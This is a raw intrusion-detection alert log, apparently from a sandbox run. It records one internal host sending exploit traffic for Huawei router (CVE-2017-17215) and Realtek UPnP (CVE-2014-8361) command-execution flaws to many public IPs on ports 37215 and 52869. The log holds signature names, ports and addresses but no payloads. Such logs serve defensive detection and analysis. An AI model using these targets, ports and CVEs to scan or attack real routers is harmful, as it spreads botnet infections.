07/20/24-23:00:57.222091	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55906	37215	192.168.2.23	197.159.88.79
07/20/24-23:01:01.892361	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57358	52869	192.168.2.23	218.167.11.188
07/20/24-23:02:07.942303	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53118	52869	192.168.2.23	167.225.66.116
07/20/24-23:01:31.320338	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40076	52869	192.168.2.23	105.131.75.237
07/20/24-23:01:12.806062	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46250	52869	192.168.2.23	38.189.198.237
07/20/24-23:01:25.484881	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59906	52869	192.168.2.23	79.157.163.186
07/20/24-23:01:41.370228	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58642	52869	192.168.2.23	48.9.123.124
07/20/24-23:01:43.182734	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50088	52869	192.168.2.23	173.1.18.208
07/20/24-23:02:01.256492	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51580	52869	192.168.2.23	57.77.183.106
07/20/24-23:02:20.472956	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56140	52869	192.168.2.23	14.149.133.62
07/20/24-23:01:45.887574	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58218	52869	192.168.2.23	133.73.57.190
07/20/24-23:01:53.384793	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46206	52869	192.168.2.23	49.96.236.62
07/20/24-23:01:07.033766	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59984	37215	192.168.2.23	197.57.36.21
07/20/24-23:01:52.735812	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41760	52869	192.168.2.23	158.249.141.193
07/20/24-23:01:42.262355	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34778	52869	192.168.2.23	137.218.170.227
07/20/24-23:01:11.822392	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46852	37215	192.168.2.23	60.49.240.179
07/20/24-23:02:37.123706	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36914	52869	192.168.2.23	123.137.152.162
07/20/24-23:01:01.326437	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48448	52869	192.168.2.23	191.79.195.70
07/20/24-23:02:02.537098	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41216	52869	192.168.2.23	96.158.44.47
07/20/24-23:01:03.247233	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53918	52869	192.168.2.23	148.211.13.100
07/20/24-23:01:04.228868	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33362	37215	192.168.2.23	182.253.24.216
07/20/24-23:01:43.190671	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45934	52869	192.168.2.23	130.131.47.204
07/20/24-23:01:20.110860	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58438	37215	192.168.2.23	41.111.23.136
07/20/24-23:01:50.798234	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56576	52869	192.168.2.23	152.241.189.22
07/20/24-23:01:44.839991	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38150	52869	192.168.2.23	25.245.127.235
07/20/24-23:01:04.064240	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56680	37215	192.168.2.23	157.38.58.237
07/20/24-23:01:02.504282	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43928	52869	192.168.2.23	169.107.25.12
07/20/24-23:01:04.064240	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59016	37215	192.168.2.23	157.161.162.111
07/20/24-23:01:20.132103	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40700	37215	192.168.2.23	83.201.55.21
07/20/24-23:01:43.111685	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39226	52869	192.168.2.23	8.242.14.128
07/20/24-23:01:42.042815	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51644	52869	192.168.2.23	114.234.94.36
07/20/24-23:01:51.266338	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59852	52869	192.168.2.23	141.3.146.221
07/20/24-23:01:31.333805	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47398	52869	192.168.2.23	2.17.25.163
07/20/24-23:00:59.157444	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52842	37215	192.168.2.23	41.132.51.195
07/20/24-23:01:43.425298	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43806	52869	192.168.2.23	172.124.39.209
07/20/24-23:01:06.989167	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46360	37215	192.168.2.23	157.143.99.221
07/20/24-23:01:42.672378	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40310	52869	192.168.2.23	47.91.11.144
07/20/24-23:01:27.650643	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57514	37215	192.168.2.23	2.228.199.145
07/20/24-23:01:50.903844	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40620	52869	192.168.2.23	42.169.174.111
07/20/24-23:01:57.787786	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41992	52869	192.168.2.23	188.56.34.102
07/20/24-23:01:24.916250	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34934	37215	192.168.2.23	197.160.155.29
07/20/24-23:01:02.079114	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53940	37215	192.168.2.23	147.234.115.27
07/20/24-23:01:02.048113	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55316	37215	192.168.2.23	90.115.47.151
07/20/24-23:01:52.686542	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51606	52869	192.168.2.23	206.50.68.232
07/20/24-23:01:48.560945	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43414	52869	192.168.2.23	158.244.111.55
07/20/24-23:01:04.039129	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52762	37215	192.168.2.23	173.164.252.237
07/20/24-23:01:47.005094	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49358	52869	192.168.2.23	123.198.127.136
07/20/24-23:01:34.048618	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49156	37215	192.168.2.23	41.183.23.205
07/20/24-23:01:31.312311	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44086	52869	192.168.2.23	179.40.74.15
07/20/24-23:01:41.750477	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37158	52869	192.168.2.23	113.184.252.189
07/20/24-23:01:43.209467	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43906	52869	192.168.2.23	180.49.147.96
07/20/24-23:01:43.944379	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33872	52869	192.168.2.23	175.186.207.187
07/20/24-23:01:56.353592	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46456	52869	192.168.2.23	43.127.30.131
07/20/24-23:01:07.033766	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40060	37215	192.168.2.23	197.158.235.29
07/20/24-23:01:53.494330	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60812	52869	192.168.2.23	115.121.114.198
07/20/24-23:01:21.936545	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42860	37215	192.168.2.23	64.35.212.13
07/20/24-23:01:52.447066	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55858	52869	192.168.2.23	145.241.92.58
07/20/24-23:01:41.991545	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55570	52869	192.168.2.23	191.59.254.237
07/20/24-23:01:40.334452	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51350	37215	192.168.2.23	137.161.38.152
07/20/24-23:01:02.109665	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40882	52869	192.168.2.23	91.33.144.77
07/20/24-23:01:14.296756	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43348	37215	192.168.2.23	41.215.255.246
07/20/24-23:01:24.884598	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55218	37215	192.168.2.23	98.114.190.226
07/20/24-23:01:45.683188	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49128	52869	192.168.2.23	66.34.14.57
07/20/24-23:00:59.184421	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41550	37215	192.168.2.23	41.166.159.225
07/20/24-23:01:43.167781	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33470	52869	192.168.2.23	64.212.158.191
07/20/24-23:01:44.161942	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47250	52869	192.168.2.23	18.7.171.33
07/20/24-23:00:57.221803	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36746	37215	192.168.2.23	41.173.160.14
07/20/24-23:01:34.064573	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50696	37215	192.168.2.23	157.124.21.88
07/20/24-23:01:42.131607	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53892	52869	192.168.2.23	23.3.191.75
07/20/24-23:01:21.952783	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42156	37215	192.168.2.23	41.178.228.29
07/20/24-23:01:42.962388	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36968	52869	192.168.2.23	199.44.188.95
07/20/24-23:01:43.825431	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58434	52869	192.168.2.23	24.200.205.123
07/20/24-23:01:57.022868	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34466	52869	192.168.2.23	68.238.48.34
07/20/24-23:02:04.022245	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51378	52869	192.168.2.23	212.213.14.74
07/20/24-23:01:44.611556	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53552	52869	192.168.2.23	144.196.193.162
07/20/24-23:01:45.484487	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51798	52869	192.168.2.23	210.209.80.73
07/20/24-23:01:24.910426	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50096	37215	192.168.2.23	132.105.175.229
07/20/24-23:01:47.179280	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39742	52869	192.168.2.23	39.76.169.126
07/20/24-23:01:13.321371	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49116	52869	192.168.2.23	78.146.199.168
07/20/24-23:01:44.565131	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54952	52869	192.168.2.23	35.100.148.20
07/20/24-23:02:05.374045	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54602	52869	192.168.2.23	209.233.186.203
07/20/24-23:01:41.263056	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38236	52869	192.168.2.23	114.149.101.121
07/20/24-23:01:47.455724	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41808	52869	192.168.2.23	185.97.134.51
07/20/24-23:01:02.456435	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35924	52869	192.168.2.23	47.10.251.72
07/20/24-23:01:07.054782	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58546	37215	192.168.2.23	197.21.203.147
07/20/24-23:01:02.064358	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41428	37215	192.168.2.23	41.158.142.0
07/20/24-23:01:45.134490	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34732	52869	192.168.2.23	37.158.125.18
07/20/24-23:01:44.349550	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41078	52869	192.168.2.23	202.203.199.212
07/20/24-23:01:51.063023	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40454	52869	192.168.2.23	18.166.243.209
07/20/24-23:01:04.114673	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57736	37215	192.168.2.23	197.52.94.108
07/20/24-23:01:24.596580	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38116	52869	192.168.2.23	61.127.88.100
07/20/24-23:01:42.966322	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48450	52869	192.168.2.23	37.192.4.35
07/20/24-23:01:41.205247	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39042	52869	192.168.2.23	124.109.117.107
07/20/24-23:01:42.943881	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49940	52869	192.168.2.23	177.9.244.61
07/20/24-23:01:11.636425	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60540	37215	192.168.2.23	41.44.134.248
07/20/24-23:01:32.032492	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35612	37215	192.168.2.23	155.165.117.153
07/20/24-23:01:53.607815	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59936	52869	192.168.2.23	159.51.221.45
07/20/24-23:01:51.016560	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44112	52869	192.168.2.23	149.8.44.5
07/20/24-23:01:13.300689	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40112	52869	192.168.2.23	94.32.208.135
07/20/24-23:01:04.115220	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51988	37215	192.168.2.23	96.4.116.14
07/20/24-23:01:08.556166	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36780	52869	192.168.2.23	27.254.228.216
07/20/24-23:01:44.944836	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51548	52869	192.168.2.23	151.41.38.224
07/20/24-23:01:34.062277	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53428	37215	192.168.2.23	197.222.250.183
07/20/24-23:01:48.496839	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52330	52869	192.168.2.23	129.68.201.164
07/20/24-23:01:14.113390	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34024	37215	192.168.2.23	197.105.252.117
07/20/24-23:01:43.039504	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52804	52869	192.168.2.23	174.16.2.141
07/20/24-23:01:52.914137	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34970	52869	192.168.2.23	37.158.125.18
07/20/24-23:01:44.624686	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57118	52869	192.168.2.23	155.161.7.211
07/20/24-23:01:00.651026	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57736	37215	192.168.2.23	41.242.166.123
07/20/24-23:01:59.905375	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44260	52869	192.168.2.23	112.175.144.226
07/20/24-23:01:50.246033	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56978	52869	192.168.2.23	130.119.229.116
07/20/24-23:01:41.381812	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53042	52869	192.168.2.23	105.155.204.151
07/20/24-23:01:52.144379	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56624	52869	192.168.2.23	92.182.23.52
07/20/24-23:01:04.031511	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45100	37215	192.168.2.23	41.115.102.16
07/20/24-23:01:41.392527	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48730	52869	192.168.2.23	202.140.13.200
07/20/24-23:01:01.299586	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47142	52869	192.168.2.23	213.46.179.130
07/20/24-23:01:08.613165	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52470	52869	192.168.2.23	74.116.148.181
07/20/24-23:01:21.944679	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48608	37215	192.168.2.23	41.63.171.55
07/20/24-23:01:31.976649	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59476	37215	192.168.2.23	197.165.97.37
07/20/24-23:01:02.333866	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33564	52869	192.168.2.23	54.235.197.43
07/20/24-23:01:45.544315	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46764	52869	192.168.2.23	8.220.8.58
07/20/24-23:01:56.127051	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60470	52869	192.168.2.23	205.96.176.194
07/20/24-23:01:59.043868	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41608	52869	192.168.2.23	18.255.33.143
07/20/24-23:01:49.490945	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59242	52869	192.168.2.23	46.134.86.41
07/20/24-23:01:42.454682	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59644	52869	192.168.2.23	161.210.183.51
07/20/24-23:01:58.216922	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49966	52869	192.168.2.23	187.61.181.140
07/20/24-23:01:44.921789	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52396	52869	192.168.2.23	90.64.10.170
07/20/24-23:01:41.867104	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37288	52869	192.168.2.23	108.137.226.148
07/20/24-23:01:43.791502	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55812	52869	192.168.2.23	197.159.127.103
07/20/24-23:01:46.961079	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50102	52869	192.168.2.23	80.12.29.225
07/20/24-23:01:41.496780	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55182	52869	192.168.2.23	171.82.217.243
07/20/24-23:01:41.481591	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33528	52869	192.168.2.23	94.18.60.159
07/20/24-23:01:52.914137	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53636	52869	192.168.2.23	155.185.16.155
07/20/24-23:01:54.567167	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55626	52869	192.168.2.23	222.178.130.155
07/20/24-23:00:59.192052	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50040	37215	192.168.2.23	41.124.29.47
07/20/24-23:02:02.085571	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47840	52869	192.168.2.23	42.127.253.166
07/20/24-23:02:00.552327	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56838	52869	192.168.2.23	87.120.192.128
07/20/24-23:00:59.161892	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41506	37215	192.168.2.23	157.139.2.14
07/20/24-23:01:53.625100	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37504	52869	192.168.2.23	179.230.186.151
07/20/24-23:01:40.334933	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35100	37215	192.168.2.23	197.45.233.176
07/20/24-23:01:44.277250	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43864	52869	192.168.2.23	123.147.61.106
07/20/24-23:01:04.118165	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35478	37215	192.168.2.23	46.114.222.105
07/20/24-23:01:03.090902	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37696	52869	192.168.2.23	150.171.160.226
07/20/24-23:01:43.671215	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42194	52869	192.168.2.23	187.139.238.2
07/20/24-23:01:54.489563	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43520	52869	192.168.2.23	158.218.4.185
07/20/24-23:01:02.057728	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34020	37215	192.168.2.23	41.99.98.84
07/20/24-23:01:42.656963	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40824	52869	192.168.2.23	129.151.175.195
07/20/24-23:01:58.143690	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52188	52869	192.168.2.23	149.240.88.161
07/20/24-23:02:06.477726	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35428	52869	192.168.2.23	128.140.142.60
07/20/24-23:01:45.118041	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51140	52869	192.168.2.23	221.199.165.178
07/20/24-23:01:03.083161	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52478	52869	192.168.2.23	132.33.116.164
07/20/24-23:01:06.988055	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41168	37215	192.168.2.23	41.212.175.247
07/20/24-23:01:42.196522	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57156	52869	192.168.2.23	9.196.233.159
07/20/24-23:01:01.772213	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57978	52869	192.168.2.23	184.112.202.180
07/20/24-23:01:47.354421	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60566	52869	192.168.2.23	46.134.86.41
07/20/24-23:01:20.132103	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48670	37215	192.168.2.23	157.241.240.40
07/20/24-23:01:32.032492	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53624	37215	192.168.2.23	157.196.127.144
07/20/24-23:01:46.891763	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43436	52869	192.168.2.23	43.71.121.153
07/20/24-23:01:02.370068	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43534	52869	192.168.2.23	168.54.72.251
07/20/24-23:01:34.044223	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33566	37215	192.168.2.23	157.191.169.80
07/20/24-23:01:24.915904	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47214	37215	192.168.2.23	157.8.72.36
07/20/24-23:01:49.120513	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36432	52869	192.168.2.23	43.180.222.83
07/20/24-23:01:04.058922	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45678	37215	192.168.2.23	157.157.232.183
07/20/24-23:01:12.813695	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42064	52869	192.168.2.23	51.49.44.101
07/20/24-23:01:51.517722	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37782	52869	192.168.2.23	189.27.117.219
07/20/24-23:01:40.321965	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57874	37215	192.168.2.23	197.34.80.193
07/20/24-23:01:42.466150	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58916	52869	192.168.2.23	36.185.15.35
07/20/24-23:01:42.985200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48740	52869	192.168.2.23	61.169.227.46
07/20/24-23:01:08.691384	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46394	52869	192.168.2.23	153.94.71.254
